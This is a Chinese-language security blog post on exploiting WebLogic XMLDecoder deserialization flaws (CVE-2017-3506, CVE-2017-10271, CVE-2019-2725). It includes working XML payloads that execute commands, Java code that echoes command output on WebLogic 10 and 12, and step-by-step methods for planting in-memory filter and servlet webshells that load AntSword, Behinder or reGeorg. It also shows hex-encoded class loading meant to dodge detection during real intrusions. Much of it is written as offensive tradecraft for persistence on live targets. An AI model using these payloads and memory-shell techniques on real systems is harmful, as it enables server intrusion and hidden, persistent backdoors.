Weblogic xmldecoder反序列化中的命令回显与内存马总结

首发先知社区:https://xz.aliyun.com/t/10323

虽说weblogic xmldecoder的洞是几年前的,但是之前内外网场景下老是遇到,大多数情况是不出网、不方便写webshell(weblogic负载均衡,轮询)场景,需要解决的问题就是回显构造和内存马的植入。所以想花个时间来总结一下。

而说到回显、内存马植入的文章网上越来越多,看了文章都知道有哪些方法,比如回显问题大多数都知道有找request、URLClassloader报错、rmi调用那些,一说内存马都知道servlet、filter、listener马,都知道怎么去写个Demo。

但是实际结合到场景去做总是会遇到一些问题,所以自己想着还是多动手实践,毕竟talk is cheap。


0x01 weblogic xmldecoder 反序列化漏洞

debug 环境搭建:

修改 domain 的 bin 目录下面的 startWebLogic.cmd 文件,在前边部分加上以下行:

set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n

之后就是常规添加libraries和weblogic服务器就不截图了,写个filter断点测试下:

涉及CVE:

  • CVE-2017-3506

  • CVE-2017-10271

  • CVE-2019-2725

三个CVE都是对最初漏洞的不停绕过,CVE-2017-3506修补方案为禁用 object 标签,CVE-2019-2725,由于组件_async存在反序列化。

原理简单说就是WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞

CVE-2017-10271 简单流程

这个洞网上很多过程文章,不贴过程了

简单跟一下, 处理是在readHeaderOld方法,进入到weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld后ByteArrayOutputStream bao为实际传入获内存缓冲区的数据,转换成字节数组,在使用WorkContextXmlInputAdapter 时又把字节数组用ByteArrayInputStream转化为输入流,最后转成XmlDecoder对象

最后跟到readUTF函数中调用readObject( )方法进行反序列化操作,代码执行。

payload中的xmlencoder 标签

文档:XMLEncoder (Java SE 9 & JDK 9 ) (oracle.com)

因为这三个cve都是针对前面的绕过

CVE-2017-10271是通过voidnew标签对CVE-2017-3506补丁的绕过。标签这里也不贴那么多了,可以看已有的文章对标签的解释:

最早poc使用object 标签来表示对象:

               <object class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>cmd.exe</string>
                        </void>
                        <void index="1">
                            <string>/c</string>
                        </void>
                        <void index="2">
                            <string>calc.exe</string>
                        </void>
                    </array>
                    <void method="start" />
                </object>

一些payload中常用的标签:

object或void标签用于初始化对象,属性class的值是初始化对象所属的类

<object class="java.io.xxx"> </object>

函数调用使用void 标签,属性method的值是调用的方法

a.fun1("haha").fun2()

<void method="fun1">
    <string>haha</string>
    <void method="fun2"></void>
</void>
#如果func1、func2是a.func1;a.func2这种只需要把 <void method="fun2"></void>写在第一对void标签外即可,表平行的关系。

id或者idref标签是进行标记,和引用标记的

<void property="attr" id="attr_id"></void> #对属性进行了id标记
<void method="func1"><object idref="className"></object></void>#引用了id为className的对象

为啥可以使用void,new标签替换?

XMLDecoder对每种支持的标签都实现了一个继承了ElementHandler的类,在DocumentHandler的构造函数中就可以看到,写个XMLDecode测试,跟进XMLDecoder的readObject函数,随后跟入parsingComplete函数,再到parse函数,最后一路跟到javax.xml.parsers.SAXParserFactory#newSAXParser可以看到this.handlers参数包含了所有元素对应的解析器:


而在绕过中可以使用void,new标签替换即可,能等效替换的原因是处理void、new的标签NewElementHandler、ObjectElementHandler最后都是调用newelementhandleraddAttribute方法获得类:

具体xmldecoder解密流程可以参加这篇师傅的文章,https://xz.aliyun.com/t/5069,有兴趣可以再调一下,这里不贴了。

0x02 Weblogic xmldecoder反序列命令回显构造

这个部分我把如何找回显和构造大版本上通用回显(找上下文)的过程贴详细在这里,可能啰嗦,但是理解了如何去找以后,可以把通用回显和打入通用内存马的payload都构造出来,因为都会用到上下文的部分。

通用的获得回显的思路就是获取当前web上下文对象,比如request和response来设置传入和响应的内容,有的中间件一般存储在当前线程对象中,又或者存储在静态变量或者特定类里。获取的流程大致是从web中获取当前上下文对象(response、context、writer等)然后拿到回显,而在weblogic中的ServletResponse类,其中的getWritergetOutputStream方法可以进行输出回显。

weblogic 输入接受类ServletRequestImpl

weblogic.servlet.internal.ServletRequestImpl提供了接收参数、请求头等输入方式的函数:

不过在xml反序列这几个洞中这个输入类都用不到,因为我们反序列化时候本来就可以调用xx类的xx方法进行参数的传入(比如传入执行的命令whoami)。

weblogic 回显输出类ServletResponseImpl

10和12中都有weblogic.servlet.internal.ServletResponseImpl这个类,其中的getServletOutputStreamgetWriter可作为输出:

测试输出:

如上,只要拿到了ServletResponseImpl类即可完成后续执行回显,但是weblogic 12 和10中拿到ServletResponseImpl的流程和方法是不一样的,以至于回显payload大多数不通用,拿@shack2师傅写过的工具举例子。

weblogic 10 和 weblogic 12 构造回显差别:

常见payload为dnslog出网探测、Linux反弹shell,稍微方便一些的就是执行命令带回显,比如shack2的工具:

调一下工具查看它发送的的payload,先来看weblogic 12

weblogic12 命令回显调试:

exeCMD方法下断:

复制值出来:

发送的payload如上,可以看到还是调用了org.mozilla.classfile.DefiningClassLoader类的defineClass函数来传入自定义的恶意类,利用defineClass加载byte[]返回Class对象,很多poc调用DefiningClassLoader类的原因是他重写了defineClass而且是public属性,通过newInstance方法实例化恶意类并调用相应方法,解码了反编译查看就是个命令执行的马:

主要看这里他工具中weblogic12 版本怎么拿到的ServletResponseImpl类:

     ProcessBuilder processBuilder = new ProcessBuilder(cmds);
        processBuilder.redirectErrorStream(true);
        Process proc = processBuilder.start();
        ServletResponseImpl response = this.getServletResponse();
        response.getServletOutputStream().writeStream(proc.getInputStream());
        this.getServletResponse().getWriter().flush();

可以看到在 ServletResponseImpl response = this.getServletResponse();拿到的ServletResponseImpl,跟进getServletResponse(),发现在getHttpConnectionHandler中拿到了HttpConnectionHandler

为啥在weblogic12中需要拿到HttpConnectionHandler类?

跟进了一下发现,在weblogic.servlet.internal.HttpConnectionHandler中是有获得ServletRequestImpl、ServletRequestImpl类的私有成员的:

对应获取的getServletRequest、getServletResponse 方法:

所以,只要拿到HttpConnectionHandler中getServletResponse方法就能拿到ServletResponseImpl这个类,最后实例化后执行getServletOutputStreamgetWriter方法即可拿到回显。

再回到刚才payload中的getHttpConnectionHandler方法,获取了当前线程对象后进行了一个反射取字段的操作:

为啥在拿到HttpConnectionHandler类的时候需要反射connectionHandler字段?

如上图,当时看的时候疑惑这里反射获取connectionHandler字段的原因,所以自己调试一下发现getCurrentWork获取的是ContainerSupportProviderImpl

跟进ContainerSupportProviderImpl类,查找connectionHandler字段,发现在WlsRequestExecutor这个内部类中,而拿到connectionHandler字段可以拿到HttpConnectionHandler类:

调试完了回到刚才的getServletResponse中,通过如上对ContainerSupportProviderImpl类的connectionHandler字段的获取,就能拿到HttpConnectionHandler类,然后通过response = httpConnectionHandler.getServletRequest().getResponse();,就能拿到response了,自然后面就能拿到回显:

后面搜文章也发现lufei师傅在https://xz.aliyun.com/t/5299中构造回显也说过这个12中回显构造方法,说的很清楚,因为没有getter方法,所以无法使用property="connectionHandler"属性,只能通过反射的方式去获取这个属性。

所以工具中weblogic12 获取回显的思路:

  • 调用org.mozilla.classfile.DefiningClassLoader来加载恶意的自定义类
  • 恶意的自定义类中使用当前线程类获得ContainerSupportProviderImpl类,通过对ContainerSupportProviderImplconnectionHandler字段的反射获得了HttpConnectionHandler类,再有HttpConnectionHandler类的getServletResponse方法就能拿到ServletResponseImpl类来完成后面的回显。

ps:

工具中是通过base64将自定义恶意类的字节数组传入到classloader中再解密的,如果实战中有环境拦截这部分特征的话也很好改,换传入的格式就行,例子weblogic.utils.Hex中自带的的fromHexString也可以拿来做接受类字节数组的解码方法。payload中传入类字节数组的hex格式再调用weblogic.utils.Hex#fromHexString还原即可:

自定义恶意类:

自定义恶意类后转成字节数组再转hex,传入fromHexString函数:

再来看工具中weblogic10 命令回显方法

weblogic 10 命令回显方法

把payload复制出来查看

先看把传入的类解密后反编译,发现就是普通的命令执行马

拿回显部分是在对图中的红框部分,构造了拿到线程后再拿到response.getWriter().write("")来回显:

<void class="java.lang.Thread" method="currentThread">
                    <void method="getCurrentWork">
                        <void method="getResponse">
                            <void method="getServletOutputStream">
                                <void method="writeStream">
                                    <object idref="proc"></object>
                                </void>
                                <void method="flush"/>
                            </void>
                            <void method="getWriter"><void method="write"><string></string></void></void>
                        </void>
                    </void>
                </void>

12版本的payload中是反射拿到workadapterconnectionHandler字段来获得HttpConnectionHandler类,再通过HttpConnectionHandler拿到的ServletResponseImpl:

而10版本 中getCurrentWork拿到的就直接是ServletResquestImpl类,而ServletResquestImpl类是有提供函数再获得ServletResponseImpl类的:

weblogic.servlet.internal.ServletRequestImpl#getResponse

所以10版本的构造就简单的多,WorkAdapterServletRequestImpl有继承关系,直接强转就行了:

所以这里WorkAdapter父类可以直接强转ServletRequestImpl子类:

同理,实战中传入给classloader时候将上述class字节数组转成hex、或base64格式再调用相应解码函数即可。

所以工具中weblogic 10 获取回显的思路:

  • 调用org.mozilla.classfile.DefiningClassLoader来加载恶意的自定义类
  • 恶意的自定义类中使用当前线程类获得ServletResquestImpl类,调用ServletResquestImpl类中的getResponse方法就可以拿到ServletResponseImpl类来完成后面的回显。

0x03 weblogic 10和12版本通用命令回显payload:

如上 10版本和12版本 获得回显的异同

  • 差异点在于通过当前weblogic线程类getCurrentWork函数拿到的类,是不同的。

10版本拿到的是ServletResquestImpl类,12版本拿到的是ContainerSupportProviderImpl类。

  • 相同点是最后都拿到了ServletResponseImpl类,后续通过ServletResponseImpl类其中的输出函数拿到回显。

所以通用回显可以在拿到线程返回的类进行一个判断,判断类名是如果有ContainerSupportProviderImpl则是12版本,如果workAdapterServletRequestImpl有继承关系则是10版本:

 ExecuteThread executeThread = (ExecuteThread)Thread.currentThread();
        ServletResponseImpl servletResponse = null;
        WorkAdapter workAdapter = executeThread.getCurrentWork();
        WebAppServletContext webAppServletContext = null;
        if (workAdapter.getClass().getName().contains("ContainerSupportProviderImpl")) {
            /*weblogic 12 */
            Field field = workAdapter.getClass().getDeclaredField("connectionHandler");
            field.setAccessible(true);
            HttpConnectionHandler httpConnectionHandler = (HttpConnectionHandler)field.get(workAdapter);
            servletResponse = httpConnectionHandler.getServletResponse();
        } else if (workAdapter instanceof ServletRequestImpl) {
            /*weblogic 10 */
            ServletRequestImpl servletRequest = (ServletRequestImpl)workAdapter;
            servletResponse = servletRequest.getResponse();
        }

判断完成后拿到了ServletResponseImpl类,后续输出都是一样的:

ProcessBuilder processBuilder = new ProcessBuilder(cmd);
            processBuilder.redirectErrorStream(true);
            Process proc = processBuilder.start();
            servletResponse.getServletOutputStream().writeStream(proc.getInputStream());
            servletResponse.getWriter().write("");

weblogic 10

weblogic 12

0x04 其他命令回显思路尝试

网上大多数总结除了拿上下文来回显之外,还有像RMI绑定实例、URLClassLoader抛异常回显、JNDI回显这些思路方法,我在一一拿来使用在xmldecoder反序列洞中时候发现部分并不适用,效果也没有拿上下文的好,贴一下尝试的记录。

java 调用 js 命令执行回显(推荐)

这个挺方便的也简单,javax.script.ScriptEngineManager来调用js,最早看的是宽字节发的文章

image-20210930144022703

执行的js编码即可,poc网上宽字节是发过的,解出来自己改功能就好了,获得线程环境那些照着前面说的改就行

RMI /URLClassLoader 抛异常回显(不适用)

抛异常报错回显的方法在T3用的多,错误通过反序列化传输给客户端,但在xmldecoder这里不适用。

先来看URLClassLoader 抛异常,网上poc恶意类大多是这样,最后将执行命令的结果直接放异常抛出:

一般可以把恶意类打jar包,上传到服务器,上传使用FileOutputStream,然后用URLClassLoader 加载jar中的类。

但是这种回显实战洞中我很少见到过构造,xmldecoder反序列中没有把异常代码在返回中抛出,故这种方法不适用。

再来看RMI抛异常,原理不再叙述,参考文章:

https://paper.seebug.org/1442/#1-rmi

https://xz.aliyun.com/t/2223#toc-0

但是在weblogic寻找,大多数实现RMI接口的都是抛出java.rmi.RemoteException 异常,故也不适用


RMI绑定实例命令回显 (待解决)

老姿势了,这个可以参考weblogic_cmd,原理即通过漏洞调用classloader来自定义一个RMI接口类,这个类的实现方法中将回显返回。

weblogic利用rmi回显的工具都用的weblogic.cluster.singleton.ClusterMasterRemote这个接口,命令回显覆写在getServerLocation方法:

但是这个方法我在T3洞用的多,一般是T3发送然后结合CC链来注册RMI接口类达到命令回显,y4er师傅就写过一篇这个内容https://xz.aliyun.com/t/7228,而xmldecoder反序列的话就简单很多了,我可以直接使用defineclass,所以想当然的拿过来用:

将上述文件class转hex(protected属性改public不然反射报权限异常)后打入:

调用却发现报溢出死循环错误:

报死循环的异常,晚上调了很久,rmi服务端下断loadclass找原因也没找出个所以然,调了个寂寞。

后面再想觉得思路没毛病,会不会问题在代码上,尝试动手把执行命令的函数注释,只返回一个字符串发现成功,那么问题就在这里

然后就一行行调试,发现在执行方法中不能new,直到最后错误定位到proc.getInputStream(),如果不执行这句,正常bind和正常调用执行命令:

后面也没有调出来是为啥,辛苦su18师傅陪我一起找出错原因,很感谢,这个问题原因暂时未知。

JNDI 命令回显

jndi的话如果能出网利用com.sun.rowset.JdbcRowSetImpl可以打jndi回显,参考JNDI实现回显研究 - 安全客,安全资讯平台 (anquanke.com),但这篇本质最后去ldap服务器加载的恶意类里面还是找的web上下文来输出回显,并且能出网个人觉得没太大必要用这种方法。

还有一种和单独利用xmldecoder回显关系不大了,植入jndi实例,绑定一个reference供远端调用,攻击者(客户端)利用绑定的reference执行Weblogic服务器上的系统命令,并将结果返回给自己,打入的类中在weblogic目标中安装个JNDI实例,这里就不是单独只用xmldecoder这个洞了,xmldecoder洞只是拿来打入而已:

这个代码宽字节之前的cve-2020-14644 漏洞分析中就有现成的,https://www.cnblogs.com/unicodeSec/p/13451993.html,抄过来拿来用就是:

打入:

缺点众所周知就是这样做的话在JNDI树查看注册上去的Reference时,一眼就能看出注入的后门:

0x05 xmldecoder反序列化结合weblogic filter通用内存马

先来看大家用的最多的filter类型。

weblogic filter内存马原理与构造流程

weblogic filter的马最早我搜到的是宽字节发的https://www.cnblogs.com/potatsoSec/p/13162792.html,调的是12版本,在上面提到10版本和12版本回显流程的时候就知道,两个版本拿到上下文也就是request、response、context对象的流程和方法是不同的,所以payload不同。

但是可以效仿上面构造回显通用payload中对上下文的判断方法,构造个通用的weblogic filter注入马。

先来理一下种weblogic filter思路流程和重要的点,具体寻找filter过程看宽字节文章就行,不再叙述,

weblogic filter内存马重要的点:

  • weblogic中主要使用weblogic.servlet.internal.FilterManager这个类去管理系统中的Filter,这个类有两个重要的函数,一个是registerFilter函数中进程注册filter,第二个是loadFilterFilter实例化filter

  • 但是在FilterManager只能传递ClassName,FilterManager通过ClassName去查找Class,所以构造payload的时候使用反射

  • filter中使用weblogic自己的classloader(weblogic.utils.classloaders.ChangeAwareClassLoader)去寻找class,在这个classloader的loadclass函数中从cacheClasses中查找是否存在待查找的类,如果存在,则直接返回该名称对应的Class

  • 种植filter内存马的方法就是先在cachedClasses这个类中,put进去自己的马,然后再在registerFilter中进行注册filter

weblogic filter内存马流程:

大致流程:利用漏洞加载一个注入filter内存马的恶意类,恶意类再去加载真正的内存马(蚁剑冰蝎之类的webshell)。

这里拿weblogic 12版本举例。

1.拿到weblogic自己的classloader,weblogic.utils.classloaders.ChangeAwareClassLoader

获取当前线程类,通过反射等操作拿到上下文request、context对象(这一步 10版本和12版本有所不同前面说过),ChangeAwareClassLoader这个weblogic自己的classload从context对象中就能拿到,如下,取对象中的classloader属性即可:

2.在cachedClasses类中插入恶意代码

因为ChangeAwareClassLoader的loadClass函数中会从cachedClasses取类名为name的类,如果存在,则直接返回该名称对应的Class。

第一次看宽字节那篇文章的时候以为cachedClasses是个单独的类,调是时候才知道是个ConcurrentHashMap类型,故后面反射调用cachedClasses的get、put方法也就不奇怪了:

3.调用FilterManager的registerFilter函数进行filter的注册

因为weblogic中主要使用FilterManager去管理系统中的Filter,在FilterManager这类中使用registerFilter去注册、加载filter,故最后一步反射调用registerFilter这个函数来注册内存马:

如上可完成filter内存马的植入。

构造weblogic 10和12 版本 filter 通用注入内存马

构造通用的payload时,10版本和12版本filter的流程没啥变化,只是不同版本去拿上下文对象的流程是有变化的。参考前面回显通用的部分,所以这里只贴结论:

  • 差异点在于通过当前weblogic线程类getCurrentWork函数拿到的类,是不同的。10版本拿到的是ServletResquestImpl类,12版本拿到的是ContainerSupportProviderImpl类。

  • 相同点是最后都拿到拿到context对象,来进行filter内存马后续的植入。

所以在拿到context之前,进行一个判断:

后续都是一样,对context对象中的classload字段进行获取,因为classloader字段可以返回ChangeAwareClassLoader这个类

最后加载恶意的字节码class即可:

如果class编译得版本高于目标服务器jdk版本,会报Unsupported major.minor version 52.0,jdk高版本能兼容低版本,但是低版本不能兼容高版本:

解决方法当然是注意编译内存马class文件使用的jdk版本。可以直接用1.7来编译。

实际问题中的xmldecoder打filter内存马的小问题

如上对通用filter内存马进行了构造,而其中这个注入filter会加载一个class文件,这个class文件就是马文件,蚁剑冰蝎之类的

这个最早我是搜到y4er https://github.com/Y4er/WebLogic-Shiro-shell/blob/master/README.md这篇文章中的代码,当时候我也是用的这个方法打的环境:

先上传filter注入的类的jar包,再上传蚁剑类的class,最后通过漏洞去加载filter注入类,完成内存马的注入。

使用的是URLClassLoader来加载,支持对jar包加载:

neo-ReGeorg正向代理也是,转换好了后同样的方法:


payload:

  <java version="1.4.0" class="java.beans.XMLDecoder">
  <object class="java.net.URLClassLoader">
    <array class="java.net.URL" length="1">
      <void index="0">
        <object class="java.net.URL">
          <string>file:///tmp/update.jar</string>
        </object>
      </void>
    </array>
    <void method="loadClass">
      <string>weblogicupdate</string>
<void method="newInstance"></void>
    </void>
  </object>
</java>

但是有两个小地方可以改进:

  • 1.实际测试是可用,但是实战中这样使用的话需要先上传一个打包好的jar包和一个蚁剑class,当时我遇到的问题是一个内网负载均衡,你传这两个文件需要打好多次来保证每台机器都上传成功,很累。稍微改一下就是把filter注入类和内存马类都转成字节数组来加载,一个包一步打通:

  • 2.因为如果如第一点拿点把蚁剑class字节码硬编码就不太灵活,不如加载的类也做个接受,做到动态注入蚁剑、冰蝎、哥斯拉、reGerog等等

综上,改进最终filter马:

对filter注入类去加载的类改作传参,Hex2string方法是对传入的hex转字节数组,evilClass为你传入蚁剑字节数组的hex格式:


payload如下 第一段hex是filter注入类的hex,第二段hex是打入的蚁剑的hex:

       <java>
	               <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
 <string>22222
</string>
                </void>
			<void class="org.mozilla.classfile.DefiningClassLoader">
				<void method="defineClass">
					<string>com.qing.weblogic12_filterShell</string>
					<object idref="cls"></object>
					<void method="newInstance">
					<void method="say" id="result">
<string>11111
</string>
						</void>
					</void>
				</void>
			</void>
		</java>

打入:

这样就能完成10版本和12版本通用,一个包打入动态注入蚁剑、冰蝎、reGeorg的内存马。

0x06 结合weblogic servlet、listener类型内存马

因为前面对context的区别寻找方法都知道了,在构造通用的servlet、listener内存马

servlet、listener原理参考网上的tomcat内存马。

weblogic servlet内存马

weblogic servlet内存马网上就两个文章,可能我理解能力不行,看不太明白,索性自己调下。

流程可以参考网上很多tomcat servlet内存马的文章,在tomcat servlet内存马种植流程中

核心找到负责管理 Servlet 的Wrapper类。

其中注入成功的关键点就是如何获取到Context,以及如何在servletMapping添加servlet.

1.weblogic 哪里存储着Servlet的路径映射关系?

自己写个servlet,查看哪里去查询了这个路径映射关系,以weblogic10 为例,调用栈如下:

明显看到weblogic.servlet.internal.WebAppServletContext.ServletInvocationAction#run存有我对自己定义的Servlet类和servlet名称:

然后在这里下断,慢慢往上去调试,一级一级下断,过程不贴了直接贴结果:

直到你下断到weblogic.servlet.internal.WebAppServletContext#resolveRequest这个函数时候,,调了你会发现在URLMatchHelper var2 = (URLMatchHelper)this.servletMapping.get(var1);这里var1为传入的uri,通过var1从servletMapping中匹配到合适的servlet

查看这个servletMapping,而servletMapping就正好存储着Servlet的路径映射,get方法会调用getExactOrPathMatch方法,getExactOrPathMatch方法就是去matchMap中去匹配,有兴趣的师傅可以跟下:

重点是我们可以通过这个servletMappingput方法,添加自己的servlet

2.weblogic 在哪里可以动态注册Servlet对象?

在第一个问题调试的时候,发现weblogic.servlet.internal.WebAppServletContext中就提供了registerServlet函数来注册Servlet。下断然后重启就能看到它自己调用registerServlet函数来注册,细节有兴趣师傅可以跟下这里不贴了:


综上weblogic10版本为例子,在URLMatchHelper的servletMapping中查询servlet的路径映射关系,在WebAppServletContext的registerServlet去注册servlet。

3.如何获得servletMapping并添加恶意servlet?

在第一个问题中说明了,weblogic.servlet.internal.WebAppServletContext中的servletMapping使用put方法可以添加我们想加的servlet,经查找发现WebAppServletContext提供了获得servletMapping的方法:

构造通用welogic servlet内存马

10版本和12版本拿到context的区别前面都有说,这里不贴了。后面就是对servlet的注册和添加。

上面提的2、3问题可以看出,注册servlet内存马有两个方法,一个是通过拿到servletMapping来添加恶意的servlet,另一个是通过调用registerServlet函数来注册恶意的servlet

1.调用registerServlet函数来注册恶意的servlet

在拿到context后,只需要调用registerServlet函数即可:

2.反射拿到servletMapping字段,put方法恶意的servlet

这种要麻烦一些,我们先看调用这个put需要哪些东西。

直接在put下断,重启weblogic,看看它自己怎么加的:

我自己设置的servlet路径是Funservlet,你一直在这里F9会一直等不到自己设定servlet那个请求,下个条件断点:

其中传入的URLMatchHelper 如上,发现调用put第一个参数就是servlet路径,第二个是传入的URLMatchHelper 类。

第一个参数是取的URLMatchHelper 类的pattern字段,有兴趣的可以自己跟一下。

第二个参数是URLMatchHelper 类实例,我们需要知道如何创建才方便反射构造:

weblogic.servlet.internal.URLMatchHelper#URLMatchHelper构造函数如下,var1servlet路径,var2ServletStubImpl对象:

所以现在问题变成如何实例化ServletStubImpl类对象,查看其构造函数。

weblogic.servlet.internal.ServletStubImpl#ServletStubImpl

var1为servlet路径,var2为添加的servlet名词, var3为context对象,如下:

所以到如上,我们就写了,因为var1,var2是字符串,var3为context对象,前面也说了如果通用去拿context。

所以流程就是

先用context获取到servletMapping,因为servletMapping的put方法需要servlet路径和URLMatchHepler实例,所以第二步为反射创建ServletStub,传入URLMatchHepler构造函数并创建其实例,第三步就是调用put方法:

把servlet内存马结合xmldecoder反序列化的步骤如前面一样,这样不再叙述。

weblogic listener内存马

这个就不贴了,context中提供了注册listener函数:

实际调过在filter链中有封装了listener,和前面一样还是要去注册触发和注册的地方,这个就没继续弄了。

https://xz.aliyun.com/t/7228

https://zhuanlan.zhihu.com/p/396552602

https://xz.aliyun.com/t/8465#toc-3

https://gist.github.com/atxsinn3r/2172f2bc6ea964066d19a122bbf8f23c

https://blog.csdn.net/weixin_39541600/article/details/110078172

https://paper.seebug.org/1316/

https://mp.weixin.qq.com/s/svJQ6R-VMzlTMuvgwumQiQ

https://www.cnblogs.com/potatsoSec/p/13162792.html

https://www.cnblogs.com/ph4nt0mer/p/11772709.html

posted @ 2021-10-11 21:50  卿先生  阅读(1808)  评论(0编辑  收藏  举报